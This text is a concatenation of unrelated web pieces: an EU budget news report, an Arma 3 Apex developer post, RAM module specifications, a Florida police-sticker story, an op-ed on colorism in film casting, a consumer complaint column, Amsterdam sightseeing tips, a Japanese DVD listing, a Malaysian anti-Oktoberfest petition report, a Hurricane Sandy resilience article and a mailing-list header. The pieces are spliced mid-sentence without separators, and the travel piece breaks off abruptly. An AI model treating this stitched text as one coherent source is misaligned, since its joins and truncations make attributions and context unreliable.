Cameron had told parliamentarians that he would, at worst, seek a budgetary freeze. "I am quite prepared to use the veto if we do not get a deal that is good for Britain," he said. Yet a freeze, albeit adjusted for inflation, is essentially what the Commission has proposed. British parliament, however, would like cuts of up to 20 percent. Last week, European Commissioner for Financial Programming and Budget Janusz Lewandowski said, in reference to London, "either they see their future in the European Union in the long term or they don't."
France, for its part, has threatened to veto the budget if it doesn't include a continuation of generous agricultural subsidies. Last week, Merkel -- who would also like to see the budget reduced, though not to the degree proposed by Britain -- urged leaders to avoid inflammatory rhetoric. "I don't want to throw more vetoes into the room," she said. "It doesn't help bring about a solution."
Still, for all the recent pleas for compromise coming from Berlin and Brussels, there have been no signs that Cameron is preparing to back down. At a dinner in London with Merkel on Wednesday night, the two made little progress in reconciling their positions. Next week, the British prime minister plans to fly to Rome for a meeting with Italian Prime Minister Mario Monti on the upcoming budget showdown.
And if Cameron does ultimately refuse to budge, it seems certain that he will have the support of most Britons. According to a new survey published by the public opinion research group YouGov on Friday, some 49 percent of British citizens would vote in favor of their country withdrawing from the EU if a referendum were held. Only 28 percent would vote to stay. In Germany, the numbers are flipped, with 57 percent in favor of staying and just 25 percent backing withdrawal.
With reporting by Philipp Wittrock and Roland NellesThe release of Arma 3 Apex marks the grand finale of our 2015-16 roadmap: an expression of all the hard work our team and splendid community has poured into the development over the past few years, and a rich experience of combined arms warfare for new and veteran players alike.
Let’s take a quick look back at some of the most splendid additions and enhancements we've rolled out since our original launch, pick out a handful of our favourite new Apex features and content, and round off with a brief look ahead to the next phase of Arma 3's life.
#ROADTOAPEX
In March 2014, Update 1.14 introduced the final East Wind campaign episode alongside two free jets. Suffice to say, over two years (and 37 updates) later, it's impossible to pay tribute to the staggering progress made. My (very selective) highlights include a mix of innovative design and meaningful platform enhancements.
APEX ACTUAL
With Apex, our ultimate goal is to create new experiences for our diverse playerbase. We've focused upon updating the platform with a suite of enhancements / additions for everybody, and re-invigorating the game with interesting new Premium Content, including Tanoa, new classes of vehicles / weapons, and an MP campaign.
TANOA A rich, 100 sq. km South Pacific archipelago awaits new and veteran players alike. Without doubt the crown jewel of our development, Tanoa's deep jungles and variegated settlements - supported by fantastic new environmental audio SFX improvements and an upgraded lighting setup - are a true feast for the senses. Its diversity starts with the very structure of the terrain: multiple islands offering some interesting new challenges and opportunities. Its history contributes to a variety of settlements. From hidden tribal ruins, through postcolonial Francophone villages, to modern industry, Tanoa just begs to be explored, hiding a surprise around every corner.
VEHICLES & WEAPONS Within the given scope of the project, we chose to focus upon expanding the types of gameplay Arma 3’s official content has to offer. Distinctive new classes, like the VTOLs and LSVs, support that goal; however, other cool additions, like the civilian plane and water scooter, play their part, too. As for new weapons, thirteen in total, we recognised the benefit of adding some true classics to our official line-up of firearms, which also helped to diversify the factions a bit. Speaking of which, we also took the opportunity to add distinctive new NVGs, plus other headgear, uniforms, backpacks, etc. FACTIONS & MORE We had (although don’t ask our audio designers) a lot of fun adding distinctive French and Chinese identities, supported by new radio protocol, faces, factions and equipment. Again, an opportunity to achieve something fresh; it's a whole different combat experience hearing enemy chatter in the jungles of Tanoa! Hand in hand with the Eden 3D Editor, a huge new array of assets and props are ready for content creators to set to purpose. At a lower level, detailed new models (and many other basic terrain building blocks) stand to benefit community-made terrains / modes for years to come
APEX PROTOCOL The co-op campaign follows Group-15, a CTRG team deployed to Tanoa to help face down a criminal enterprise. Like Zeus DLC, Bootcamp's Prologue, and the East Wind SP campaign before that, it offers a different perspective on combat: a teamplay-oriented gateway to the scope / complexity Arma has always offered. As a focused introduction to cooperative gameplay, it's a fine place to experiment with friends, put squad tactics to the test, and get a flavour of what Tanoa has to offer over the course of seven linked missions (which scale in challenge depending on the number of players taking part).
PLATFORM PIMPING
Alongside the above 'Premium Content', we're also proud to share a select few enhancements made to what we call 'the platform'; essentially, changes to the underlying game that everyone who owns Arma 3 automatically receives for free. Although we've already covered a few highlights, Apex introduces several more noteworthy additions.
USABILITY Rounding down a few 'rough edges' has long been a goal. Apex introduces a new Main Menu, built upon distinctive vignettes of our terrains; it presents a more consistent ‘first contact’, offering improved 'discoverability' of content, more manageable performance, and a truer sense of the unique atmosphere of our terrains. Although a deeper ‘overhaul’ was out of scope, some modest improvements to interactions were achieved. 'Decluttering' the Action Menu was made possible, in part, by low-level control improvements (like configurable key-binds for weapon switching), and some promising foundation work related to ‘continuous actions’ (like reviving a team mate in MP). PERFORMANCE Ah, that wily old beast. Since launch - alongside a multitude of minor improvements (a frame here, a frame there, depending on context) - a few'stand out' optimisations / new technologies have been deployed, such as Land Grid / Object Aggregation, Geometic Occluders, and improved Clutter / LOD management. Together with network traffic improvements, better scripting practises, improved diagnostics, and additional community documentation, the refactoring / extension of our functions libraries, script commands and event handlers has improved the performance of official / custom scripted content alike. Naturally, there’s more to do. But Apex has endeavoured to push further.
GAMEPLAY Alongside the resolution of miscellaneous gameplay-related issues, a few things stand out. ‘Vehicle-in-Vehicle transport’ is a handy engine-implemented feature that enables new logistical options, like quickly moving an LSV in the belly of a VTOL (great for an island archipelago). It’s also something we’d like to refine more in future. Apex was also a focus for the finalisation of multiplayer systems. For example, the UI/X-focused ‘Tasks Overhaul’, has enabled the indication of objectives assigned to other friendlies, plus a range of customisation options / optimisations. Revive, too, was greatly optimised; it continues to lead the way for further interaction improvements.
NEXT OBJECTIVE_
With Apex fresh out of the development oven, we’re still in a post-release maintenance / evaluation phase. Although our 2016-17 roadmap is shaping up, we’re not positioned to make bold proclamations just yet. That said, short term, improvements including Arma 3 Units, AI planning, plus samples / documentation are in-bound!
It’s also fair to say that we're actively listening to our community, and we value our combined arms military core / heritage. We've taken on board much of your detailed feedback, and have started to identify the kind of improvements that will make the Arma 3 experience even more appealing.
While on the subject, we'd also like to, once again, sincerely thank our community for all their continued support. At times, Arma 3’s development has been a wild ride, but watching the community grow, seeing some staggering mods develop, and cooperating with all the constructive feedback has been massively rewarding.
Ever since Arma 3's official release back in September 2013, the team has strove to deliver the maximum while maintaining - and raising - standards of quality. Arma 3 Apex is an investment of thousands upon thousands of hours of dedication from all involved. We plan to invest even more, experiment more, learn more - and we hope you’ll join us!
On behalf of the A3 team,
Jay Crowe (RiE)
Creative Director, Arma 3HyperX Fury White Series 16GB 1866MHz DDR3 CL10 DIMM (Kit of 2) Memory Kit
SPECIFICATIONS
CL(IDD) 10 cycles
Row Cycle Time (tRCmin) 44.75ns (min.)
Refresh to Active/Refresh 260ns (min.)
Command Time (tRFCmin)
Row Active Time (tRASmin) 32.125ns (min.)
Maximum Operating Power TBD W* (per module)
UL Rating 94 V - 0
Operating Temperature 0oC to 85o C
Storage Temperature -55oC to +100o C
*Power will vary depending on the SDRAM used.
FEATURES
• JEDEC standard 1.5V (1.425V ~1.575V) Power Supply
• VDDQ = 1.5V (1.425V ~ 1.575V)
• 933MHz fCK for 1866Mb/sec/pin
• 8 independent internal bank
• Programmable CAS Latency: 13, 11, 10, 9, 8, 7, 6
• Programmable Additive Latency: 0, CL - 2, or CL - 1 clock • 8-bit pre-fetch
• Burst Length: 8 (Interleave without any limit, sequential with starting address "000" only), 4 with tCCD = 4 which does not allow seamless read or write [either on the fly using A12 or MRS]
• Bi-directional Differential Data Strobe
• Internal(self) calibration : Internal self calibration through ZQ pin (RZQ : 240 ohm ± 1%)
• On Die Termination using ODT pin
• Average Refresh Period 7.8us at lower than TCASE 85°C, 3.9us at 85°C < TCASE < 95°C
• Asynchronous Reset
• PCB : Height 1.180" (30.00mm), double sided component'In God We Trust.'
Four words that drew hundreds from all over the Panhandle to Bonifay Sunday in both support and opposition of the state and national motto being displayed on the city's police cars and fire trucks.
But police Chief Chris Wells says ever since the station started putting on the stickers, the response has been overwhelmingly positive.
"My telephone, text messages, social media has just been off the roof with positive comments commending us for doing this and commending us for taking a stand," said Wells.
But the move prompted Wesley Wilson and others from Bay, Washington, and Holmes counties to take a stand against the stickers, emphasizing what they say is important about the separation of church and state.
"Everyone's going to have different beliefs," said Wilson. "We don't think it's right for the government to try to force any beliefs on anyone. We think people should be able to believe or not believe as they please. And putting 'In God We Trust' on the back of the police cars, that says something about us."
According to Wells, this isn't actually the first time the four word saying has been displayed on Bonifay police cars.
He says the saying has actually been on cars ever since the department started displaying shields on their cars since the 1980s.
But Wells says Sunday marked a day where many came to stand behind a motto deeply rooted in a community.
"United we stand, divided we fall. And our community is united behind this motto. It's united behind 'In God We Trust," said Wells. "Sheriff McKeithen had this idea. I think it's a good idea. It shows what we stand for. Our community's behind it, and that's why we're supporting it."
Wells says the Holmes County Sheriff's Office cars will begin displaying 'In God We Trust' stickers this week, and the county ambulances will begin displaying the stickers next week.Look alive, True Believers, if the rumors are to be believed, then Zendaya is playing the role of Mary Jane Watson in the upcoming Spider-Man movie. This is the latest in a series of black women being cast in traditionally white comic book roles. First it was Candice Patton being cast as Iris West in CW’s The Flash, then Tessa Thompson as Valkyrie in Marvel’s Thor: Ragnarok, followed by Kiersey Clemons being cast in Warner Brother’s The Flash, and now Zendaya. While they’re all great actresses and I can’t wait to see them in action, it’s hard not to notice that only a certain type of black girl is being cast.
We all want to celebrate the fact that black women are getting more roles, but we need to address the colorism in these casting. Zendaya, Kiersey, Tessa, and Candice are all lightskin black women. These aren’t coincidences; these are products of our society’s devaluing of darkskin black women, especially those that don’t meet Eurocentric beauty standards. These actresses received/continue to receive a lot of hate, doused in racism no doubt, but nothing in comparison to what Leslie Jones went through just last month.
Leslie is a darkskin black women with Afrocentric features, and the internet sure as hell wanted her to know it. Through comparison to gorillas, various racial slurs, and general bigotry, she was forced to retreat from Twitter and thus interacting with her fans. Women like her are rarely given the chance to shine and when they are, they’re met with harassment and abuse.
Hollywood hates darkskin women so much that instead of actually hiring a darkskin woman to play Nina Simone, they had Zoe Saldana do blackface. When darkskin women are actually cast they’re never in the roles of love interests. Viola Davis is a fantastic actress, but she’s constantly being put into the role of being an inhuman hard-ass, never a sexy powerful woman like some of her lighter-skin colleagues.
I’m really happy about Zendaya playing MJ in Spider-Man: Homecoming, because she’s an amazing actress and an important role model for black girls. That doesn’t mean I have to ignore the incredible hypocrisy and double standards between lightskin and darkskin people. There is no uniform representation of brown and black people; we can’t keep celebrating these thin lightskin girls while ignoring and devaluing everyone else. When these black women come on screen, I know they will inspire black girls, and that is incredibly important. However, it’s just as important to represent different kinds of black girls on screen. Diversity is more than just throwing some people of color on screen, we need to delve into that and diversify further.Email haggler@nytimes.com. Keep it brief and family-friendly, include your hometown and go easy on the caps-lock key. Letters may be edited for clarity and length.
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The Haggler is a fool for big-box electronics stores, and he isn’t afraid to admit it. Something about wandering around all those TVs, tablets and smartphones — it’s like a Disneyland for gadget freaks. Best Buy is one of the few national electronics chains left standing, and the Haggler wishes it all the best. The Haggler also wishes that it treated customers better than this:
Q. I bought a Lenovo laptop through the company’s website, and when its screen cracked in mid-January I brought it to the Best Buy in Flushing, Queens. (For a fee, Best Buy repairs products that it doesn’t sell.) The company sent my computer to a service center and, three weeks later, I had heard nothing, despite several calls. I filed a complaint with the Best Buy hotline.
When the computer was eventually returned to the store, the screen — which was still cracked — was the least of my laptop’s problems. It didn’t work. I mean, it was essentially a brick.
It was also scratched and scuffed. Just as annoying, nobody at the store seemed to care much about my problem. My computer was sent back for repairs yet again.In recent years, tourism in Amsterdam has swelled to new highs. The events that surrounded the “Amsterdam 2013” celebration, which included the reopening of two major museums, has led to a big increase in the number of visitors coming from around the world to experience the city.
This summer the long line to get into the Anne Frank House found its rival in the Van Gogh Museum, and meanwhile, the Rijksmuseum has been attracting more than two million people annually since it reopened. The Red Light District is crammed almost every night, and the party plazas never seem to be empty of, well, party people.
We’ve talked about alternatives to Amsterdam’s most popular sights in previous posts, but even with the growing crowds, it’s worth it to visit Amsterdam’s biggest attractions. Even in high season, when tourism is at its peak, there are still easy ways to help you enjoy the top tourist attractions.
With these simple tips and a little bit of patience, you can survive and thrive amid the crowds at Amsterdam’s most famous spots.
Get there early. Repeat: Get there early.
It seems like a no-brainer, we know, but we still can’t stress this tip enough. “Rise and shine” timing is everything when it comes to beating the crowds in Amsterdam. Don’t rely on inclement weather or hope for a slower weekday visit to minimize the lines. Plan to get up and out early, and do it. Plus, you have extra incentive with plenty of places to grab a Dutch breakfast or pancakes to give you early morning energy.
Get in line before the opening time
Commit to a museum the night before, wake up early, and get there as close to opening time as you can. If it’s the Anne Frank House or the Van Gogh Museum, get there at least a half hour before it opens. You can sleep after your trip, but you can’t see priceless artworks that only live in Amsterdam once you step on the plane back home.
Be prepared for the day ahead
Make sure to leave your hotel prepared for the day’s adventure. Pack some rain gear if the forecast says clouds, sunscreen if it says clear skies, plus water, snacks and something to read while you wait for the doors to open.
Anne Frank House
You can’t wing it. And you can’t play it by ear. You have to come prepared if you want to see this historic house. The line is so long you can literally read Anne Frank’s diary from start to finish while waiting to enter the museum. Showing up without a plan is one of the top rookie travel mistakes in Amsterdam.
For the most comprehensive overview, read our full guide for navigating the epic line at the Anne Frank House. Here are a few highlights from the article.
Buy tickets in advance
This is the easiest way to save countless hours during a trip to Amsterdam. And you can do it online before you trip. Just commit to a time and use your credit card to purchase passes on the Anne Frank House website.
Get in line by 8:30 a.m.
The early bird really does get the ticket in this case. If all goes well, you will be inside by 9:30 a.m. In the summer this strategy provides extra relief, by avoiding the afternoon heat than can wear you down after a few hours on line.
Tips for waiting in line
If you can’t get muster up the strength to get there early, and you’re going to wait it out, there are a few important tips to keep in mind. There is a men’s outdoor urinal behind the Westerkerk next to the Keizergracht. Women have to be ready to pay €.50 at a nearby café to use the facilities.
An Albert Hein grocery store is across the street where the trams stop, so it’s a good idea to stock up on snacks and drinks (cash or pin card only). On the other side of the Westerkerk is a seafood sandwich bar and a French fries stand to dive into if you get the mid-line munchies.
There is also a free Wi-Fi signal to jump on when you get close enough to the museum.
Experience every inch of the space
Once inside, it’s easy to brush over the empty rooms that Anne Frank and her family hid in for two long years. However, plan to linger a little bit here. Soak in and visualize the scene as much as possible, because this is the most unique part of the museum.
But go soon — there are already plans in motion to seal off some of these areas with glass.
Van Gogh Museum
The Van Gogh Museum is an open and airy museum that’s easy to handle in one visit… if you can make it through the heavy crowds. Boasting one of the world’s greatest collections of Van Gogh paintings, the museum is incredibly popular, attracting more than 1.5 million guests in 2014.
You don’t need the audio guide
The layout is easy to follow with three floors exhibiting the artist’s work chronologically during his 10 years as a painter. Large text on the walls explain enough of Van Gogh’s life and style, so don’t bother paying extra for the audio guide.
Don’t waste time taking photos
In fact, don’t even think about snapping a picture, because they’re not allowed anywhere in the museum. This smart policy is to specifically avoid the problem of too many smartphones obstructing your experience of gazing upon a Van Gogh masterpiece.
Artworks by other artists are mixed in
Surprisingly, not everything you see on the wall is by Van Gogh. Paintings by other big names like Monet, Gauguin and Manet are interspersed into the museum’s Van Gogh galleries. Strange? Yes, but that’s why we’re telling you in advance. Reading those placards are more important than you think!
Rijksmuseum
With dozens of galleries on four floors exhibiting thousands of pieces of artwork, the Rijksmusuem is a labyrinth of a building for visitors to navigate. It also houses a treasure trove of relics across 900 years of history, so it’s no surprise that it can easily become an overwhelming experience. Knowing how to get to the top artworks is key to saving time and enjoying your visit.
Pick up a free museum floor plan
The Rijksmuseum floor plan is the key to your visit. You can find this free pamphlet at the information desk. (Pro tip: you can also download it before you go.) It’s a perfect pocket guide that gives a general overview of where all the top hits are located.
The biggies on the second floor include “The Night Watch” (Nachtwacht) by Rembrandt and the adjoining hallway known as The Gallery of Honour, which holds several works by Vermeer, Steen and others. Another area that always proves popular is the Brietner, Gabriel and Van Gogh room on the first floor that contains several masterpieces.
Use the gallery cards to quickly find the highlights
Don’t know what to focus on upon entering a gallery area? Look for the handheld laminated info cards that describe each room’s particular artworks in detail.
Special treat
We highly recommend ducking into the 19th-century Rijksmusuem library (bibliotheek) on the second floor to admire the preserved architecture and book collection stacking up four floors high.
Book in advance
Want to pre-purchase your ticket and skip the ticket line entirely? You can do that here.
Red Light District
Despite its sultry and shady reputation, Amsterdam’s Red Light District is actually quite safe. There is always a big police presence in the neighborhood, and there are many hidden cameras keeping extra eyes on the streets. You also don’t have to worry about finding yourself alone on an empty street, because, for better or worse, rarely is the quarter ever quiet.
Watch out for boozers
The biggest concerns for visitors are usually from intoxicated tourists, like bachelor parties on a weekend bender. While most of these roaming groups are just out for a good time, they can also occasionally be a little intimidating and out of control. Just be aware of your surroundings, and you will be fine.
When to visit for a more mellow experience
To avoid the more rocking side of the Red Light District, it’s best to stroll around midday and early evening (before 8 p.m.). If you’re looking for a less sexy time to visit, with fewer ladies in the windows, visit from 6 p.m. to 8 p.m. when many shift changes take place. During this dinner break, many windows are empty and the curtains are drawn.
The fun heats up in the evening
After 8 p.m. is usually the best time to see the Red Light District alive, a little rowdy, and glowing its dim shade of crimson. If you can handle (or are looking for) drunk |
A/アスミック・エース スペック 2013年／日本／【本編分数】99分／カラー／【ディスク】本編：1枚／片面2層、特典：CD1枚／【音声】日本語 DolbyDigital5.1ch、日本語 DolbyDigital2.0ch、コメンタリー DolbyDigital2.0ch／【字幕】なし／【画面】16：9 ビスタサイズ スクイーズ収録 特典 ＜特典＞
■作画監督又賀大介描き下ろし三方背外箱
■特製サウンドトラックCD（25曲 約30分収録予定）
■豪華ブックレット（涌井 学書き下ろし小説「二人の夢（仮題）」＆又賀大介描き下ろし挿絵、スタッフ座談会など）
※ブックレット表紙はキャラクターデザイン茶山隆介描き下ろし
■最後の手紙レプリカ
＜映像特典＞
■東京国際映画祭舞台挨拶
■初日舞台挨拶
■キャスト（藤井ゆきよ・岡本信彦）、吉浦監督インタビュー映像
■サカサマな「サカサマのパテマ」（本編シーンを“サカサマ”視点でダイジェスト収録）
■予告編集
＜音声特典＞
藤井ゆきよ×岡本信彦×大畑伸太郎らキャストによるオーディオコメンタリー <DVD>サカサマのパテマ 通常版 発売日 2014/04/25 品番 ACBA-10902 価格 ￥4,800＋税 JANコード 4988126209025 発売元 アスミック・エース/KADOKAWA 販売元 KADOKAWA/アスミック・エース スペック 2013年／日本／【本編分数】99分／カラー／【ディスク】1枚／片面2層／【音声】日本語 DolbyDigital5.1ch、日本語 DolbyDigital2.0ch、コメンタリー DolbyDigital2.0ch／【字幕】なし／【画面】16：9 ビスタサイズ スクイーズ収録 特典 ＜映像特典＞
■東京国際映画祭舞台挨拶
■初日舞台挨拶
■キャスト（藤井ゆきよ・岡本信彦）、吉浦監督インタビュー映像
■サカサマな「サカサマのパテマ」（本編シーンを“サカサマ”視点でダイジェスト収録）
■予告編集
＜音声特典＞
藤井ゆきよ×岡本信彦×大畑伸太郎らキャストによるオーディオコメンタリー
作品一覧へ戻るVisitors cheer with beer during the opening day of the 184th Oktoberfest in Munich September 16, 2017. — Reuters pic
KUALA LUMPUR, Oct 2 — Parti Pribumi Bersatu Malaysia (PBBM)’s Selangor youth wing, Armada Selangor, has managed to collect over 10,000 signatures in an online petition objecting to the German beer festival Oktoberfest.
In a statement, Selangor Armada said that the petition, which was started last Friday, crossed more than 10,000 signatures this morning and the result would be handed to Selangor Mentri Besar Datuk Seri Mohamed Azmin Ali, relevant local councils and also the Pakatan Harapan leadership.
The petition titled “Hapus Budaya Pesta Arak di Malaysia” (Destroy Beer Festival Culture in Malaysia) argues that Oktoberfest celebrations are a part of German culture and not related to Malaysian culture or any Malaysian religion.
“Harmony and racial unity can continue to be preserved without needing to have a beer festival,” Selangor Armada said in the petition.
While admitting that those who do not partake in the festival could avoid the places where the event is being held, it said that such freedom could be abused to later have a “gay festival” in the country.
It said that such festivals must be curbed before they become a “habit” in Malaysia.
Previously, PAS publicly objected to the Better Beer Festival that was scheduled to take place last weekend, leading the City Hall (DBKL) denying the organisers a permit and thus cancelling the event.
The event created a spotlight on beer festivals in Malaysia, with increasing opposition to all other forms of beer festivals across the country.
The annual major Oktoberfest festival in Petaling Jaya has yet to receive approval from the Petaling Jaya City Council (MBPJ), while a German food and drink festival in Klang scheduled to take place in the middle of October was approved provided it did not use the term “Oktoberfest”.
Armada’s stand puts it at odds with some PKR and DAP leaders from the same coalition who had objected the act of banning the beer festival.
Another PH component, Parti Amanah Negara, had also backed the ban.
Both Amanah and PPBM are Malay-Muslim centred parties, with Amanah’s ideology centred on progressive Islam and PPBM on pro-Bumiputera rights.Correction: Mar. 5, 2016: An earlier version of this article referred to Amy Spitalnick as Mary Spitalnick.
New York City, US - On the evening of October 29, 2012, Hurricane Sandy reached the inlet between Long Island and New Jersey and funnelled the Atlantic storm surge into the heart of New York City, inundating lower Manhattan with water and wreaking havoc on the surrounding boroughs.
"It was like an atomic explosion," recalls Dennis Diaz of the moment the rising waters reached the Con-Edison substation near the Lower East Side (LES) housing projects in south Manhattan.
"There was a beautiful blue colour, then an orange light," says Diaz, who was outdoors with other community members when the explosion occurred. "Everyone thought the electric current was going to run through the water. Cars were floating in the street from the flooding … it was insane."
Sandy, as the hurricane became known, caused around $71bn in damages and killed 117 people along the eastern seaboard. One third of those casualties were from New York City alone. The effect of the hurricane was disproportionately felt - the city's most vulnerable residents, people of low income and the elderly, were hardest hit.
Marilyn Santiago, 59, was on the fourth floor of the Jacob Riis public housing project in the LES, along with her sick and immobile husband, when the hurricane hit.
We took Sandy, which was a horrible and devastating event for our region, and turned it into an opportunity to change the conversation about how we want our cities to look in the future. Amy Chester, managing director of Rebuild by Design
"It was a panic out there. We were stuck upstairs, we couldn't get food, all the stores were closed," Santiago recalls. It was an experience shared by many residents of public housing in the days and weeks after the storm.
"We had babies and elderly people in here. It was bad, bad. We started going crazy," she says.
The unexpected tenacity of Sandy and its devastating aftermath brought the precarious position of coastal cities - and their most vulnerable residents - to the fore, underscoring both how climate change is causing increasingly devastating storms and the failure of even New York, with all its wealth, to mitigate the risks.
"Climate change impacts are not going to be received by everyone in the same way," says Juan Camilo Osorio, a director of research at the New York City Environmental Justice Alliance. "The reality is that in neighbourhoods where you have existing high levels of vulnerabilities due to socioeconomic, demographic, or existing health conditions, then these communities will be far more affected."
According to NASA, climate change is causing ocean temperatures to rise, which in turn is increasing the intensity of tropical storms and hurricanes. Rising ocean levels and increased precipitation are exacerbating the effect of flooding on coastal cities such as New York City.
For many New Yorkers, Sandy was a wake-up call and the response from political leaders was unambiguous. The New York City mayor, the governor, even President Obama himself, connected the severity of the storm to the processes of global warming and acknowledged the need for the city to be re-designed to cope with future storms.
"Hurricane Sandy was a tipping point for policies and programmes related to climate change," says Cynthia E Rosenzweig, an American climatologist at NASA Goddard Institute for Space Studies.
"Political leaders explicitly linked increasing risks due to climate change into the necessities of rebuilding and design," she says, referring to a series of ambitious coastal resiliency projects proposed by New York City after the storm.
Bolstering New York's coast through design
In June 2014, New York City was awarded $355m through the federally funded Rebuild by Design competition, which tasked teams of architects and urban planners to create projects that would improve the resiliency of waterfront communities in New York through responsive, innovative design.
"We took Sandy, which was a horrible and devastating event for our region, and turned it into an opportunity to change the conversation about how we want our cities to look in the future," says Amy Chester, the managing director of Rebuild by Design. "And that wasn't just about building a wall around our waterfront communities. It was really about creating a space that is enhanced by coastal protection."
One of the six winning projects, called the Dryline [formerly known as the Big U]," has received much of the attention and funding. For some, it represents a resilient and adaptive re-design informed by the projected effects of climate change on Manhattan.
IN YOUR BACKYARD: The psychology behind dealing with climate change
Headed up by the internationally renowned architecture firm Bjarke Ingels Group (BIG), the Dryline foresees an arching U-shaped barrier running for 10 miles along the coastline of southern Manhattan, protecting this centre of economic wealth and one of the city's largest concentrations of public housing from future storms.
Complete with elevated berms that double up as parks, retractable flood walls that turn down into storefront and art space, incorporated urban wetlands, bio swales and rain-gardens, the Dryline integrates coastal defences with ideals of resiliency, social and environmental justice and responsible community building.
"We think of the Dryline as the lovechild between Robert Moses and Jane Jacobs," says BIG founder Bjarke Ingels, referring to the dichotomous approaches of New York City's most famous urban planners to describe the project, which, while aggressive and monumental in scope (Moses), is also in tune with the needs of its residents (Jacobs). "It requires a holistic big-picture approach [but] needs to happen through close dialogue with local residents," Ingels says.
"These communities were at the core to the planning of the project," says Chester, explaining the BIG team's approach, which combines physical resiliency (flood protection) with social resiliency through addressing community needs by enhancing and protecting the public housing stock and increasing economic and social opportunities for LES residents. "[The community stakeholders] were at every single meeting and were part of the team. The project completely reflect[s] the plans and concerns they had for the community even before the storm."
The design, if fully implemented, will consist of a series of flood compartments stretching from west 57th Street to the southern tip of Manhattan, and around and up to East 42nd Street.
The flood compartments will "work like those in the hull of ship", says Ingels, "so they can be built to protect individual neighbourhoods independently, and even if one compartment is breached, the whole ship won't sink". Ingels adds that, in addition to the protection element, "we then layer on social and urban amenities that improve open space, ecology, and access along the waterfront".
One portion, dubbed the East Side Coastal Resiliency Project (ESCR) by the city, has already been funded and is set to break ground in 2017. The project will stretch from East 23rd Street to Montgomery Street in southeastern Manhattan, spanning more than four kilometres along the East River. The city has already committed additional funding beyond the $355m originally allocated by the federal government towards planning and implementing the next areas south of ESCR, according to Ingels.
"As Sandy made clear, climate change is not some risk 100 years down the road," says Amy Spitalnick from New York City Mayor Bill de Blasio's office. "New York City is vulnerable now and the risks are only growing - and that is why we are moving quickly now to reduce those risks," says Spitalnick, commenting on the mayor's ambitious $20bn resiliency plan, which steps beyond the initial $355m provided by the federal government for Rebuild by Design and will provide massive investment in infrastructure, social services and emergency preparedness for the five boroughs.
"The city and the state have done a pretty amazing job at setting resiliency and climate adaptation as a priority," says Chester. "Both have put up plans that are being implemented, but they are both very underfunded."
Left behind?
But the allocation of resources post-Sandy worries some residents who fear that less affluent areas of the city will be left behind.
OPINION: What have we learned from Hurricane Sandy?
"In many places building a barrier is enough," says Stanley Fritz from the Harlem-based environmental justice organisation WE-ACT. "Take south Manhattan and the Financial District. Those communities are affluent and powerful enough to receive protection - and they are getting it. For others in our city, dealing with climate change is not just about infrastructure but social policies. It's not just about preventing the worst but finding long-term solutions to the issues that disproportionately put these communities at risk."
This idea of city resilience, outlined by Fritz, focuses on how the effects of global warming heighten the existing vulnerabilities of cities' most marginalised residents - often poor communities of colour and the elderly - who have been overburdened with environmental hazards, poor infrastructure and a lack of adequate transportation, housing and basic public services.
"You have to recognise how interconnected these issues are," says Andrew Brenner, a senior global communications manager for 100 Resilient Cities, an organisation helping to build resiliency in cities around the globe. "That really is at the heart of what the focus on resilience is about. It is not just about a potential shock but the underlying stresses that are weakening the fabric of a city on a daily basis."
As Maxwell Young, the vice president of global communications and marketing for 100 Resilient Cities, told Al Jazeera: "Take Hurricane Katrina. New Orleans had all these underlying problems in addition to having weak flood walls.... This all speaks to this point that one of the ways you can mitigate for climate change has nothing to do with preparing for floods - you have to fix the underlying problems with your city. Whether it is New Orleans or New York."
For some, the severe threat of climate change offers a chance to address the myriad issues that put an increasingly urbanised world at risk. "We can hope to turn what is threat into an opportunity," says Stephane Hallegatte, a senior economist at the World Bank Climate Change Group. "Climate change demands we look long-term. It is not only about infrastructure but also... emergency preparedness, regulating development in at risk areas and decreasing social and economic disparities [that] drive the negative outcomes when disasters hit."
"Our cities need to evolve," says Mike Shultz, an architecture student living in Manhattan. "The world is getting warmer and we must adapt … things are going to get worse before they get better."
Exacerbated disparities
In 1988, the Intergovernmental Panel on Climate Change (IPCC) was created under the auspices of the UN, with the stated goal to "stabilise greenhouse gas concentrations in the atmosphere". Over the past decade, the language of the yearly IPCC reports has changed from a focus on the prevention of climate change to adaptation and mitigation of its effects.
New York City's resiliency plan reflects this shift as urban spaces scramble to mitigate the risks and to incorporate climate projections into the physical design of coastal cities where, according to the UN, nearly half of the world's population resides.
"Our work is informed by successful resiliency plans around the world, and is seen as a global model by the US and international cities with which we work," says Spitalnick, noting the growing trend in climate adaptation, planning and implementation emerging elsewhere.
The implementation of resiliency programmes in different locales and countries will inevitably be dependent on both political will and financial capital, with stark differences existing between wealthy and poor cities.
According to the World Bank, developing cities around the world are more at risk from the effects of climate change. In these cities, it is the urban poor that tend to be located in the most vulnerable locations, where the consequences of heatwaves, drought, surging seas, wind storms, flooding and other effects are much more dramatic, exacerbating the socioeconomic vulnerabilities that already exist.
LONG READ: Drowning megacities
"The stresses exposed by disasters exist long before communities are impacted," says Andrew Salkin, the chief operating officer of 100 resilient cities. "Whether it's inadequate housing, limited transportation, inadequate healthcare or infrastructure, these problems were all there before the storms. They are simply exacerbated by events like Sandy."
For 72-year-old Tangerinia Williams in Baruch Housing Projects in the Lower East Side, the effects of Sandy still linger. "It is still impacting me," she says. Her second-floor apartment was completely flooded during Sandy. "It has been three years and they city still hasn't fixed the damages."
And as the effects of climate change continue to highlight and exacerbate the inequity in cities around the world, the question of who deserves protection is on many New Yorkers' minds.
As Emmanuel Fuentes, a second-generation Haitian immigrant living in Brooklyn, says: "It’s a good idea because we need a sea wall."
He lost nearly two weeks of pay when Sandy flooded the restaurant he works at. "But would they [the government] fund something like this if it were just to protect people like me? No. Their priority is Wall Street. Not the projects."[Gimp-user] Looking back at 2013
From: Alexandre Prokoudine <alexandre prokoudine gmail com>
To: "gimp-user-list gnome org" <gimp-user-list gnome org>, gimp-developer <gimp-developer-list gnome org>
Subject: [Gimp-user] Looking back at 2013
Date: Tue, 24 Dec 2013 16:54:21 +0400
